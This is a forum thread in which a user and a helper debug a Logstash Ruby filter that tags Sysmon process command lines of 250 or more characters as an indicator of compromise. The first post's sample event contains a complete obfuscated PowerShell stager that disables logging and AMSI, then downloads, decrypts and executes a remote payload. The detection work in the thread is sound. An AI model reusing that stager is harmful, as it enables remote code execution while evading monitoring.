Count length of field / number of characters in a field and add the result into a new field


#1

hi

im trying to port the answer given here

```
filter {
  ruby {
    code => "
      event['indexname'] = event['somefield'].length > 10 ? 'long-fields' : 'short-fields'
    "
  }
}
```

and here

ruby {
  code => "event['contentLength'] = event['contents'].length"
}

my use context is sysmon data containing command line execution. I want to count the number of characters in this field "process_command_line" and add a new field containing the character count of the "process_command_line" field. IF there are more than X amount of characters below the example is 250.

based on above i have thought up the following logstash filter (that does not work ;( )

filter {
if [log_name] == "Microsoft-Windows-Sysmon/Operational"{
    ruby {
	  code =>"
             event['processcreate']  = event['process_command_line'].length > 250
	}
   mutate {
          add_field => { "IOC" => "Commandline exceeds 250 characters" }
          add_tag => { "Commandline exceeds 250 characters" }
   }   
  }
}

below is the json version of the data im trying to parse

 "_index": "logs-endpoint-winevent-sysmon-2018.11.12",
  "_type": "doc",
  "_id": "1236578089",
  "_version": 1,
  "_score": null,
  "_source": {
    "user_domain": "blabla",
    "process_command_line": "C:\\WINdows\\SYSTeM32\\cMD    /c\"SET   glex= seT-varIABle  (\"{1}{0}\"-f 'O','dvMnp') ( [TYPe](\"{2}{1}{0}\"-F 'ock','Bl','SCRIpt')  )  ;   SET-itEm  (\"vARI\"+\"abLe:b\"+\"URQ\")  ( [tyPe](\"{1}{0}\" -F 'f','RE')  ) ; seT  ('hd'+'AP') ( [TyPe](\"{1}{3}{5}{4}{2}{0}\"-f 'ER','SY','tmaNag','stEM.net.SerV','oin','IcEp') )  ;   SV (\"{1}{0}\"-f'goz','w') ( [type](\"{0}{3}{1}{2}\" -F 'S','U','eST','ysTeM.NeT.WEbREQ')  )  ;$QhL  =[tyPe](\"{1}{0}{2}{4}{3}\" -f'red','SYStem.net.c','ENtiaLC','hE','ac');  SEt-item  (\"{3}{1}{2}{0}\" -f'F','AriAb','le:xY','V') (  [tYPe](\"{2}{1}{0}{4}{3}\"-F 'E','EM.TEXT.','SYST','COdING','n')) ;  If(${P`Sv`ersiOnT`AbLE}.\"ps`VerS`ion\".\"M`AjOR\" -gE 3){${g`Ps}=  (gEt-ChIlDITEm  (\"v\"+\"aRiABL\"+\"e:b\"+\"Urq\") ).\"VaL`Ue\".\"A`SsE`MbLy\".(\"{0}{1}\" -f 'GetT','ype').Invoke((\"{2}{3}{0}{4}{5}{1}{6}\" -f 'gement.','atio','System.Man','a','Aut','om','n.Utils')).\"GETFie`lD\"((\"{1}{3}{0}{4}{2}\"-f'tti','cachedGroupPoli','gs','cySe','n'),'N'+(\"{0}{1}{2}\" -f 'on','Public,Stati','c')).(\"{1}{0}\"-f'VALue','GEt').Invoke(${n`UlL});If(${G`PS}[(\"{2}{1}{0}\" -f 'iptB','r','Sc')+(\"{0}{1}{2}\" -f 'lockL','oggi','ng')]){${G`ps}[(\"{0}{1}\"-f'Scr','iptB')+(\"{2}{0}{1}\" -f'ggin','g','lockLo')][(\"{3}{1}{0}{2}\" -f'crip','S','tB','Enable')+(\"{2}{3}{1}{0}\" -f'ing','gg','lo','ckLo')]=0;${g`Ps}[(\"{2}{0}{1}\" -f 'ip','tB','Scr')+(\"{2}{1}{0}{3}\" -f'in','ckLogg','lo','g')][(\"{5}{6}{0}{7}{8}{3}{4}{2}{1}\"-f'r','g','n','ionLo','ggi','En','ableSc','iptBlockInv','ocat')]=0}ELse{ ( GEt-VARiAbLE  (\"{1}{2}{0}\"-f'O','D','vMNp')  -vALUEo  ).\"GETFiE`lD\"((\"{1}{2}{0}\"-f 'es','signatu','r'),'N'+(\"{0}{1}{2}\" -f 'onP','ublic,','Static')).(\"{0}{1}\"-f'SEtVAl','Ue').Invoke(${N`Ull},(.(\"{0}{1}{2}\" -f 'N','Ew-OBjeC','t') (\"{0}{9}{2}{7}{10}{8}{1}{5}{4}{6}{3}\"-f'C','h','Ct','TriNg]','t','Se','[S','iOns','Generic.Has','olle','.')))}  (VaRiaBLE ('BU'+'Rq')  -vaL ).\"a`s`SembLY\".(\"{2}{1}{0}\" -f 'E','TYP','Get').Invoke((\"{7}{6}{1}{4}{2}{5}{0}{3}\"-f 'ation.Am','em.Ma','e','siUtils','nag','ment.Autom','yst','S'))^|^&('?'){${_}}^|.('HdAp\") ).\"v`ALUe\"::\"ExPEcT100cont`I`N`Ue\"=0;${wc}=.(\"{0}{2}{1}\"-f 'NEw','JecT','-Ob') (\"{0}{4}{3}{1}{2}{5}\" -f'SY','M.','NEt.WebClI','te','s','enT');${U}=(\"{6}{11}{5}{4}{10}{9}{8}{12}{0}{15}{1}{7}{3}{16}{2}{13}{14}\"-f 'ri','7.0; ','i','0','.0 (Windo','lla/5','M','rv:11.','W','T 6.1; ','ws N','ozi','OW64; T','ke',' Gecko','dent/',') l');  $hdAP::\"s`eRVeRc`ERTiFic`ATEVAliD`A`TI`oN`c`AlLBacK\" = {${T`RUE}};${wC}.\"head`eRS\".(\"{1}{0}\" -f 'DD','A').Invoke((\"{2}{0}{1}\" -f 'r-Ag','ent','Use'),${U});${WC}.\"pR`oxY\"= $WgOz::\"DEF`A`UlTWebp`R`oXY\";${Wc}.\"p`RoxY\".\"cRE`D`EntiALs\" =   ( varIaBle ('q'+'hl') ).\"vAL`UE\"::\"D`efAulTnEt`W`o`RKCRE`dENt`IALs\";${SCrIpT`:Pr`oxY} = ${wc}.\"pro`xy\";${k}= ( VaRiABLE  (\"{1}{0}\"-f 'F','Xy') ).\"vaL`UE\"::\"as`cii\".(\"{2}{0}{1}\" -f'y','teS','GETB').Invoke((\"{1}{9}{2}{8}{7}{0}{4}{5}{3}{6}\" -f '5','71a50','e00f','191','fb9','3ed','65','7','68511af7a','6'));${R}={${d},${K}=${ar`Gs};${s}=0..255;0..255|.('${K}.\"co`UNT\"])56;${s}[${_}],${S}[${j}]=${S}[${J}],${S}[${_}]};${D}|&('256;${H}=(${h}+${s}[${I}])56;${s}[${I}],${S}[${H}]=${S}[${H}],${s}[${i}];${_}-bxOR${s}[(${S}[${i}]+${S}[${h}])56]}};${S`ER}=(\"{1}{5}{6}{0}{4}{3}{2}\"-f '://192.168.1','ht','4','9:44','49.12','tp','s');${t}=(\"{5}{3}{2}{4}{1}{0}\"-f'p','ph','s','n/proces','.','/logi');${Wc}.\"HEa`D`ERS\".(\"{0}{1}\"-f'A','dd').Invoke((\"{0}{1}\" -f'Cook','ie'),(\"{7}{3}{0}{4}{1}{2}{10}{6}{9}{8}{5}\" -f'on=4tr4','QTx','y','i','0APvZ','=','0Rr','sess','03M','aet','3Yu92'));${dA`TA}=${w`C}.(\"{2}{0}{3}{1}\" -f 'd','AtA','DOwnLOA','D').Invoke(${s`er}+${T});${iv}=${d`ATA}[0..3];${da`TA}=${d`Ata}[4..${d`ATA}.\"le`NgtH\"];-joiN[CHAr[]](& ${R} ${dA`Ta} (${iv}+${K}))|.(\"{0}{1}\" -f'IE','X') ",
    "version": 5,
    "source_name": "Microsoft-Windows-Sysmon",
    "process_parent_path": "C:\\Windows\\System32\\cmd.exe",
    "file_product": "Microsoft® Windows® Operating System",
    "@timestamp": "2018-11-12T14:02:05.047Z",
    "user_logon_guid": "25C0BD5F-87DC-5BE9-0000-0020A96DD505",
    "LogonId": "0x5d56da9",
    "task": "Process Create (rule: ProcessCreate)",
    "file_description": "Windows Command Processor",
    "user_reporter_type": "Well Known Group",

(Lewis Barclay) #2

And what happens when you run this? Is the field generated?


#3

shit forgot to include the error

Sending Logstash logs to /usr/share/logstash/logs which is now configured via log4j2.properties
[2018-11-21T13:11:56,973][WARN ][logstash.outputs.elasticsearch] You are using a deprecated config setting "document_type" set in elasticsearch. Deprecated settings will continue to work, but are scheduled for removal from logstash in the future. Document types are being deprecated in Elasticsearch 6.0, and removed entirely in 7.0. You should avoid this feature If you have any questions about this, please visit the #logstash channel on freenode irc. {:name=>"document_type", :plugin=><LogStash::Outputs::ElasticSearch bulk_path=>"/_xpack/monitoring/_bulk?system_id=logstash&system_api_version=2&interval=1s", hosts=>[http://helk-elasticsearch:9200], sniffing=>false, manage_template=>false, id=>"16377f67a88f6cadc8d7db65da5a2431f572e2f928b5fe8cba62fd8fe19f8fbe", document_type=>"%{[@metadata][document_type]}", enable_metric=>true, codec=><LogStash::Codecs::Plain id=>"plain_9cc9f351-c572-47b6-ba35-cd629c295e48", enable_metric=>true, charset=>"UTF-8">, workers=>1, template_name=>"logstash", template_overwrite=>false, doc_as_upsert=>false, script_type=>"inline", script_lang=>"painless", script_var_name=>"event", scripted_upsert=>false, retry_initial_interval=>2, retry_max_interval=>64, retry_on_conflict=>1, action=>"index", ssl_certificate_verification=>true, sniffing_delay=>5, timeout=>60, pool_max=>1000, pool_max_per_route=>100, resurrect_delay=>5, validate_after_inactivity=>10000, http_compression=>false>}
[2018-11-21T13:11:57,575][ERROR][logstash.agent ] Failed to execute action {:action=>LogStash::PipelineAction::Create/pipeline_id:main, :exception=>"LogStash::ConfigurationError", :message=>"Expected one of #, {, } at line 564, column 27 (byte 20911) after filter {\nif [log_name] == "Microsoft-Windows-Sysmon/Operational"{\n ruby {\n\t code =>"\n event['processcreate'] = event['process_command_line'].length > 250\n\t}\n mutate {\n add_field => { "", :backtrace=>["/usr/share/logstash/logstash-core/lib/logstash/compiler.rb:41:in compile_imperative'", "/usr/share/logstash/logstash-core/lib/logstash/compiler.rb:49:incompile_graph'", "/usr/share/logstash/logstash-core/lib/logstash/compiler.rb:11:in block in compile_sources'", "org/jruby/RubyArray.java:2486:inmap'", "/usr/share/logstash/logstash-core/lib/logstash/compiler.rb:10:in compile_sources'", "org/logstash/execution/AbstractPipelineExt.java:157:ininitialize'", "/usr/share/logstash/logstash-core/lib/logstash/pipeline.rb:22:in initialize'", "/usr/share/logstash/logstash-core/lib/logstash/pipeline.rb:90:ininitialize'", "/usr/share/logstash/logstash-core/lib/logstash/pipeline_action/create.rb:38:in execute'", "/usr/share/logstash/logstash-core/lib/logstash/agent.rb:309:inblock in converge_state'"]}


(Lewis Barclay) #4

Try removing the "> 250" just now. I assume you want the length of the field "process_command_line" to be in the new field "processcreate" ?


#5

without "> 250" i appriciate you takeing the time here :wink:

[2018-11-21T14:05:34,361][ERROR][logstash.agent ] Failed to execute action {:action=>LogStash::PipelineAction::Create/pipeline_id:main, :exception=>"LogStash::ConfigurationError", :message=>"Expected one of #, {, } at line 993, column 27 (byte 34689) after filter {\nif [log_name] == "Microsoft-Windows-Sysmon/Operational"{\n ruby {\n\t code =>"\n event['processcreate'] = event['process_command_line'].length\n\t}\n mutate {\n add_field => { "", :backtrace=>["/usr/share/logstash/logstash-core/lib/logstash/compiler.rb:41:in compile_imperative'", "/usr/share/logstash/logstash-core/lib/logstash/compiler.rb:49:incompile_graph'", "/usr/share/logstash/logstash-core/lib/logstash/compiler.rb:11:in block in compile_sources'", "org/jruby/RubyArray.java:2486:inmap'", "/usr/share/logstash/logstash-core/lib/logstash/compiler.rb:10:in compile_sources'", "org/logstash/execution/AbstractPipelineExt.java:157:ininitialize'", "/usr/share/logstash/logstash-core/lib/logstash/pipeline.rb:22:in initialize'", "/usr/share/logstash/logstash-core/lib/logstash/pipeline.rb:90:ininitialize'", "/usr/share/logstash/logstash-core/lib/logstash/pipeline_action/create.rb:38:in execute'", "/usr/share/logstash/logstash-core/lib/logstash/agent.rb:309:inblock in converge_state'"]}
root@SRVT00074:~#
root@SRVT00074:~#


(Lewis Barclay) #6

Can you take out your mutate section and run it again to see what happens? Make it simpler then we can add bits back in!


#7

here is the result without the "mutate statement"

[2018-11-22T13:51:46,936][WARN ][logstash.outputs.elasticsearch] Restored connection to ES instance {:url=>"http://helk-elasticsearch:9200/"}
[2018-11-22T13:51:47,224][WARN ][logstash.outputs.elasticsearch] Detected a 6.x and above cluster: the type event field won't be used to determine the document _type {:es_version=>6}
[2018-11-22T13:51:47,281][ERROR][logstash.agent ] Failed to execute action {:action=>LogStash::PipelineAction::Create/pipeline_id:main, :exception=>"LogStash::ConfigurationError", :message=>"Expected one of #, {, } at line 1001, column 21 (byte 34820) after filter {\nif [log_name] == "Microsoft-Windows-Sysmon/Operational"{\n ruby {\n\t code =>"\n event['processcreate'] = event['process_command_line'].length\n\t}\n \n }\n}\n# HELK winevent-security filter conf file\n# HELK build Stage: Alpha\n# Author: Roberto Rodriguez (@Cyb3rWard0g)\n# License: GPL-3.0\n\nfilter {\n if [log_name] == "", :backtrace=>["/usr/share/logstash/logstash-core/lib/logstash/compiler.rb:41:in compile_imperative'", "/usr/share/logstash/logstash-core/lib/logstash/compiler.rb:49:incompile_graph'", "/usr/share/logstash/logstash-core/lib/logstash/compiler.rb:11:in block in compile_sources'", "org/jruby/RubyArray.java:2486:inmap'", "/usr/share/logstash/logstash-core/lib/logstash/compiler.rb:10:in compile_sources'", "org/logstash/execution/AbstractPipelineExt.java:157:ininitialize'", "/usr/share/logstash/logstash-core/lib/logstash/pipeline.rb:22:in initialize'", "/usr/share/logstash/logstash-core/lib/logstash/pipeline.rb:90:ininitialize'", "/usr/share/logstash/logstash-core/lib/logstash/pipeline_action/create.rb:38:in execute'", "/usr/share/logstash/logstash-core/lib/logstash/agent.rb:309:inblock in converge_state'"]}

is there anywhere i can find some guidance on how to write the ruby code sections? is the "event" variable usable here at all?


(Lewis Barclay) #8

Can you try this:

filter {
   if [log_name] == "Microsoft-Windows-Sysmon/Operational" {
      ruby {
	     code => "event['processcreate'] = event['process_command_line'].length"
	  }   
   }
}

#9

hey its solved here is the solution for cmd.exe and powershell,

filter {
if [process_parent_name] =~ /(?i)(cmd.exe)/ and [process_name] =~ /(?i)(cmd.exe)/ {
    ruby {
        code => "
            process_command_line_length  = event.get('process_command_line').length
            if process_command_line_length >= 250
                event.set('IOC', 'Command line exceeds 250 characters')
                event.tag('Command line exceeds 250 characters')
            end
        "
    }
  }

if [process_parent_name] =~ /(?i)(powershell.exe)/ and [process_name] =~ /(?i)(powershell.exe)/ {
    ruby {
        code => "
            process_command_line_length  = event.get('process_command_line').length
            if process_command_line_length >= 250
                event.set('IOC', 'Command line exceeds 250 characters')
                event.tag('Command line exceeds 250 characters')
            end
        "
    }
  }

}